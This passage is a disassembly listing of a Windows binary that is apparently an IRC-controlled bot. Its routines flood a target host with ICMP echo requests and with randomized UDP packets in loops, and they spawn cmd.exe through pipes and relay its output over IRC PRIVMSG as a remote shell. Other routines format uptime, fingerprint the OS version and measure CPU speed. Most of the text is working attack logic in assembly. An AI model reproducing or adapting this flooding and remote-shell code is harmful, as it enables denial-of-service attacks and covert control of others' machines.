var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	ds:dword_43F5F4	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFE1
		lea	eax, [ebp+var_C0]
		push	eax
		call	ds:dword_43F6EC	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40AFE7

loc_40AFE1:				; CODE XREF: sub_40AF86+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B044

loc_40AFE7:				; CODE XREF: sub_40AF86+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DAD8
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B027
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h

loc_40B027:				; CODE XREF: sub_40AF86+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread

loc_40B044:				; CODE XREF: sub_40AF86+5Fj
		cmp	eax, ebx
		jz	short loc_40B054
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B057
; ---------------------------------------------------------------------------

loc_40B054:				; CODE XREF: sub_40AF86+C0j
		mov	[ebp+var_4], esi

loc_40B057:				; CODE XREF: sub_40AF86+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417330
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B077
		mov	[ebp+var_3C], eax

loc_40B077:				; CODE XREF: sub_40AF86+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07F
		mov	[ebp+var_38], edi

loc_40B07F:				; CODE XREF: sub_40AF86+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0AC

loc_40B086:				; CODE XREF: sub_40AF86+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	ds:dword_43F58C	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B086

loc_40B0AC:				; CODE XREF: sub_40AF86+FEj
		push	[ebp+arg_0]
		call	ds:dword_43F720	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DA9C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F5
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h

loc_40B0F5:				; CODE XREF: sub_40AF86+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread
sub_40AF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B112	proc near		; DATA XREF: sub_40EE72+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_424058	; GetTickCount
		push	eax
		call	sub_417300
		pop	ecx
		push	11h
		push	2
		push	2
		call	ds:dword_43F6E8	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F7
		lea	eax, [ebp+var_B0]
		push	eax
		call	ds:dword_43F6EC	; gethostbyname
		cmp	eax, edi
		jnz	short loc_40B1F0
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB4C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1D3
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h

loc_40B1D3:				; CODE XREF: sub_40B112+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread

loc_40B1F0:				; CODE XREF: sub_40B112+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1FA
; ---------------------------------------------------------------------------

loc_40B1F7:				; CODE XREF: sub_40B112+6Ej
		lea	eax, [ebp+arg_0]

loc_40B1FA:				; CODE XREF: sub_40B112+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B215
		call	sub_41730A
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B218
; ---------------------------------------------------------------------------

loc_40B215:				; CODE XREF: sub_40B112+F0j
		push	[ebp+var_24]

loc_40B218:				; CODE XREF: sub_40B112+101j
		call	ds:dword_43F668	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B22A
		mov	[ebp+var_24], esi

loc_40B22A:				; CODE XREF: sub_40B112+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B237
		mov	[ebp+var_24], eax

loc_40B237:				; CODE XREF: sub_40B112+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B24B
		mov	[ebp+var_28], esi

loc_40B24B:				; CODE XREF: sub_40B112+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B26C

loc_40B252:				; CODE XREF: sub_40B112+158j
		call	sub_41730A
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B252

loc_40B26C:				; CODE XREF: sub_40B112+13Ej
					; sub_40B112+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2CB
		push	0Bh
		pop	esi

loc_40B279:				; CODE XREF: sub_40B112+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	ds:dword_43F6CC	; sendto
		push	[ebp+var_28]
		call	ds:dword_424064	; Sleep
		dec	esi
		jnz	short loc_40B279
		cmp	[ebp+var_24], edi
		jnz	short loc_40B26C
		call	sub_41730A
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	ds:dword_43F668	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_40B26C
; ---------------------------------------------------------------------------

loc_40B2CB:				; CODE XREF: sub_40B112+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB10
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B30B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h

loc_40B30B:				; CODE XREF: sub_40B112+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread
sub_40B112	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B328	proc near		; CODE XREF: sub_40B358+2Ap
					; sub_40B390+7Ep ...
		mov	eax, ds:dword_43F9B4
		push	esi
		mov	esi, ds:off_424078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B33C
		push	eax
		call	esi ; sub_49C3D5

loc_40B33C:				; CODE XREF: sub_40B328+Fj
		mov	eax, ds:dword_43F9BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B349
		push	eax
		call	esi ; sub_49C3D5

loc_40B349:				; CODE XREF: sub_40B328+1Cj
		mov	eax, ds:dword_43F9B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B356
		push	eax
		call	esi ; sub_49C3D5

loc_40B356:				; CODE XREF: sub_40B328+29j
		pop	esi
		retn
sub_40B328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40C351+14Ap
					; sub_40EE72+4881p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_43F9B8
		call	ds:dword_42407C	; WriteFile
		test	eax, eax
		jnz	short loc_40B38B
		call	sub_40B328
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40B38B:				; CODE XREF: sub_40B358+28j
		push	1
		pop	eax
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_40B417+D3p
					; sub_40B417+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43C80C
		push	[ebp+arg_4]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3D3
		push	7D0h
		call	ds:dword_424064	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------

loc_40B3D3:				; CODE XREF: sub_40B390+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_40B3EA:				; CODE XREF: sub_40B390+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F6B8	; send
		test	eax, eax
		jg	short loc_40B413
		call	sub_40B328

loc_40B413:				; CODE XREF: sub_40B390+7Cj
		xor	eax, eax
		leave
		retn
sub_40B390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B417	proc near		; DATA XREF: sub_40B56C+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43F9C0

loc_40B42F:				; CODE XREF: sub_40B417+79j
					; sub_40B417+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	ds:dword_43F9B4
		call	ds:dword_424134	; PeekNamedPipe
		test	eax, eax
		jz	loc_40B4FD
		cmp	[ebp+var_4], edi
		jnz	short loc_40B492
		lea	eax, [ebp+var_8]
		push	eax
		push	ds:dword_43F9B0
		call	ds:dword_424130	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_40B488
		cmp	[ebp+var_8], 103h
		jnz	loc_40B521

loc_40B488:				; CODE XREF: sub_40B417+62j
		push	0Ah
		call	ds:dword_424064	; Sleep
		jmp	short loc_40B42F
; ---------------------------------------------------------------------------

loc_40B492:				; CODE XREF: sub_40B417+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A9

loc_40B499:				; CODE XREF: sub_40B417+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B4F7
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B499

loc_40B4A9:				; CODE XREF: sub_40B417+80j
		mov	[ebp+var_4], esi

loc_40B4AC:				; CODE XREF: sub_40B417+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	ds:dword_43F9B4
		call	ds:off_424074
		test	eax, eax
		jz	short loc_40B549
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	ds:dword_43F9F4
		call	sub_40B390
		add	esp, 0Ch
		jmp	loc_40B42F
; ---------------------------------------------------------------------------

loc_40B4F7:				; CODE XREF: sub_40B417+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4AC
; ---------------------------------------------------------------------------

loc_40B4FD:				; CODE XREF: sub_40B417+45j
		push	offset dword_42DC0C
		push	ebx
		push	ds:dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 10h
		push	1
		call	ds:dword_424054	; ExitThread

loc_40B521:				; CODE XREF: sub_40B417+6Bj
		call	sub_40B328
		push	offset dword_42DBD4
		push	ebx
		push	ds:dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 10h
		push	edi
		call	ds:dword_424054	; ExitThread

loc_40B549:				; CODE XREF: sub_40B417+C3j
		push	offset dword_42DB94
		push	ebx
		push	ds:dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 10h
		push	edi
		call	ds:dword_424054	; ExitThread
sub_40B417	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56C	proc near		; CODE XREF: sub_40C351+99p
					; sub_40EE72+5772p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B328
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:off_43F724
		test	eax, eax
		jz	loc_40B666
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, ds:dword_424140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40B666
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40B666
		mov	edi, ds:dword_42413C
		push	3
		push	esi
		push	esi
		push	offset dword_43F9B8
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_424138	; DuplicateHandle
		test	eax, eax
		jz	short loc_40B666
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43C80C
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_424120	; CreateProcessA
		test	eax, eax
		jnz	short loc_40B66E

loc_40B666:				; CODE XREF: sub_40B56C+2Fj
					; sub_40B56C+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B71C
; ---------------------------------------------------------------------------

loc_40B66E:				; CODE XREF: sub_40B56C+F8j
		push	[ebp+var_4]
		mov	edi, ds:off_424078
		call	edi ; sub_49C3D5
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	ds:dword_43F9B4, eax
		mov	eax, [ebp+var_8]
		mov	ds:dword_43F9BC, eax
		mov	eax, [ebp+var_2C]
		mov	ds:dword_43F9B0, eax
		call	edi ; sub_49C3D5
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	ds:dword_43F9F4, eax
		jz	short loc_40B6A8
		push	[ebp+arg_4]
		jmp	short loc_40B6A9
; ---------------------------------------------------------------------------

loc_40B6A8:				; CODE XREF: sub_40B56C+135j
		push	ebx

loc_40B6A9:				; CODE XREF: sub_40B56C+13Aj
		push	offset dword_43F9C0
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42DC90
		call	sub_416D5A
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	ds:dword_4450C8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B417
		push	esi
		push	esi
		call	ds:dword_4240A0	; CreateThread
		cmp	eax, esi
		mov	ds:dword_4450D4[edi], eax
		jnz	short loc_40B71A
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42DC4C
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_40B71A:				; CODE XREF: sub_40B56C+185j
		xor	eax, eax

loc_40B71C:				; CODE XREF: sub_40B56C+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B721	proc near		; CODE XREF: sub_407110+74p
					; sub_40B8D8+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_424058	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43F9FC
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78A	proc near		; CODE XREF: sub_409037+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	ds:dword_424144	; GetVersionExA
		test	eax, eax
		jz	short loc_40B81D
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7F3
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7DB
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7CE
		push	1
		pop	esi

loc_40B7CE:				; CODE XREF: sub_40B78A+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B81D
		push	1
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B7DB:				; CODE XREF: sub_40B78A+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E8

loc_40B7E4:				; CODE XREF: sub_40B78A+78j
		push	2
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B7E8:				; CODE XREF: sub_40B78A+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B81D
		jmp	short loc_40B80D
; ---------------------------------------------------------------------------

loc_40B7F3:				; CODE XREF: sub_40B78A+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B81D
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7E4
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B811

loc_40B80D:				; CODE XREF: sub_40B78A+67j
		push	3
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B811:				; CODE XREF: sub_40B78A+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B81D
		push	7

loc_40B81C:				; CODE XREF: sub_40B78A+4Fj
					; sub_40B78A+5Cj ...
		pop	esi

loc_40B81D:				; CODE XREF: sub_40B78A+25j
					; sub_40B78A+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B78A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B822	proc near		; CODE XREF: sub_40B8D8+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_40B82A:				; CODE XREF: sub_40B822+2Fj
					; sub_40B822+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_424064	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419250
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B82A
		jb	short loc_40B859
		cmp	ebx, esi
		ja	short loc_40B82A

loc_40B859:				; CODE XREF: sub_40B822+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4191D0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8CC
		jb	short loc_40B878
		cmp	esi, 50h
		jnb	short loc_40B87D

loc_40B878:				; CODE XREF: sub_40B822+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_40B87D:				; CODE XREF: sub_40B822+54j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B888
		cmp	esi, 47h
		jnb	short loc_40B88D

loc_40B888:				; CODE XREF: sub_40B822+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_40B88D:				; CODE XREF: sub_40B822+64j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B898
		cmp	esi, 37h
		jnb	short loc_40B89D

loc_40B898:				; CODE XREF: sub_40B822+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_40B89D:				; CODE XREF: sub_40B822+74j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8A8
		cmp	esi, 26h
		jnb	short loc_40B8AD

loc_40B8A8:				; CODE XREF: sub_40B822+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_40B8AD:				; CODE XREF: sub_40B822+84j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8B8
		cmp	esi, 1Eh
		jnb	short loc_40B8BD

loc_40B8B8:				; CODE XREF: sub_40B822+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_40B8BD:				; CODE XREF: sub_40B822+94j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8C8
		cmp	esi, 0Ah
		jnb	short loc_40B8CC

loc_40B8C8:				; CODE XREF: sub_40B822+9Fj
		xor	eax, eax
		xor	edx, edx

loc_40B8CC:				; CODE XREF: sub_40B822+4Dj
					; sub_40B822+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D8	proc near		; CODE XREF: sub_40EE72+59ECp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43C80C
		mov	[ebp+var_CC], 94h
		call	ds:dword_424144	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B93B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B925
		mov	[ebp+var_4], offset a95	; "95"

loc_40B925:				; CODE XREF: sub_40B8D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9DA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------

loc_40B93B:				; CODE XREF: sub_40B8D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B94D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B94D:				; CODE XREF: sub_40B8D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B99B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B95F:				; CODE XREF: sub_40B8D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B99B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B979
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B979:				; CODE XREF: sub_40B8D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B98B
		mov	[ebp+var_4], offset aXp	; "XP"
